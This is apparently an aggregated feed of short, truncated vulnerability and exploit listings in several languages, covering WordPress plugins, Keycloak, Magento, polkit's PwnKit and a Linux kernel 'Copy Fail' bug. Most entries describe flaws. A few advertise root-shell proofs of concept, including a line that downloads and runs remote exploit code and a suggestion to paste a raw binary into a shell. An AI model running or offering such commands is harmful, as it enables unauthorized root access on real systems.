Uncanny Automator <= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation

The Uncanny Automator - Easy Automation, Integration, Webhooks & Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to addrole and userrole functions missing proper capability checks performed through the...

Glossy WordPress - Reflected XSS

Glossy WordPress plugin v2.3.5 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to click a malicious link. id: CVE-2024-13325 info: name: Glossy WordPress -...

Cobbler - Authentication Bypass

Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API /cobblerapi that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting...

Adobe Commerce/Magento - Customer Session Identity Switch

Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction. id: CVE-2026-71362 info: name: Adobe Commerce/Magento - Customer Session Identity Switch...

SlideDeck 1 Lite Content Slider - Cross-Site Scripting

SlideDeck 1 Lite Content Slider WordPress plugin = 1.4.8 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL. id: CVE-2024-13224 inf...

WooCommerce Wholesale Lead Capture <= 2.0.3.1 - Unauthenticated Privilege Escalation

Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture = 2.0.3.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions. id: CVE-2026-27542 info: name: WooCommerce Wholesale Le...

Control Web Panel (CWP) - File Inclusion

In CWP Control Web Panel, previously CentOS Web Panel before version 0.9.8.1107, an unauthenticated attacker can abuse null byte %00 injection with the "scripts" parameter in the /user/loader.php or /user/login.php endpoints to register arbitrary API keys or access sensitive files. This can be...

Keycloak < 24.0.5 - Broken Access Control

A flaw was found in Keycloak. Certain endpoints in Keycloak's admin REST API allow low-privilege users to access administrative functionalities. This flaw allows users to perform actions reserved for administrators, potentially leading to data breaches or system compromise. id: CVE-2024-3656 info...

CVE-2021-4034

CVE-2021-4034 Эксплойт для повышения привилегий в polkit за один день Просто выполните make, ./cve-2021-4034 и наслаждайтесь root-оболочкой. Оригинальный advisory от настоящих авторов находится здесь PoC Если эксплойт сработает, вы сразу получите root-оболочку: root@kitploit:...

CVE-2021-38149

CVE-2021-38149 Chikitsa Patient Management System 2.0.0 Cross-Site Scripting stocké XSS Il existe une instance de cross-site scripting stocké XSS sur plusieurs pages de la version 2.0.0 de Chikitsa Patient Management System, qui permet l'exécution de JavaScript arbitraire dans le navigateur d'un...

CVE-2021-4034

CVE-2021-4034 https://raw.githubusercontent.com/hackingyseguridad/CVE-2021-4034/main/binario Copiar el contenido RAW y pegarlo en la consola Bash shell: Vulnerabilidad CVE-2021-4034 Gravedad 7.8 de fecha 18/11/2021, en el componente pkexec de Polkit https://gitlab.freedesktop.org/polkit/polkit/...

CVE-2023-37250-POC

CVE-2023-37250 PoC Article : https://hackingiscool.pl/roaming-and-racing-to-get-system-cve-2023-37250/...

CVE-2026-1492

CVE-2026-1492 - Exploit d'élévation de privilèges du plugin WordPress User Registration Description Ce dépôt contient un exploit de preuve de concept pour CVE-2026-1492 , une vulnérabilité critique affectant le plugin WordPress User Registration & Membership. La vulnérabilité permet à des...

CVE-2021-4034

CVE-2021-4034 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash некоторые примеры использования: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2021-43613 SysPasswordDxe: Password hashes are exposed in runtime UEFI variables, leading to escalation of privilege

An issue was discovered in SysPasswordDxe in Insyde InsydeH2O. User and administrator password hashes are exposed in runtime UEFI variables, leading to escalation of privilege...

EUVD-2021-34868

An issue was discovered in SysPasswordDxe in Insyde InsydeH2O. User and administrator password hashes are exposed in runtime UEFI variables, leading to escalation of privilege...

CVE-2021-43613

A vulnerability in the SysPasswordDxe driver of Insyde InsydeH2O 5.x exposes user and administrator password hashes in runtime UEFI variables, enabling privilege escalation . The affected firmware is also used in Siemens SIMATIC industrial products. The CVSS 3.1 score is 6.5 (Medium) with a local...

CVE-2021-4034-POC

CVE-2021-4034 PoC для PwnKit: локальное повышение привилегий в pkexec из polkit CVE-2021-4034 https://seclists.org/oss-sec/2022/q1/80 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034...

CVE-2026-31431

CVE-2026-31431 - Copy Fail Copy Fail est un bug logique dans le sous-système crypto du noyau Linux CVE-2026-31431. Une optimisation de 2017 dans algifaead.c a accidentellement placé des pages du cache de pages dans un scatterlist inscriptible. L'algorithme AEAD authencesn écrit 4 octets de scratc...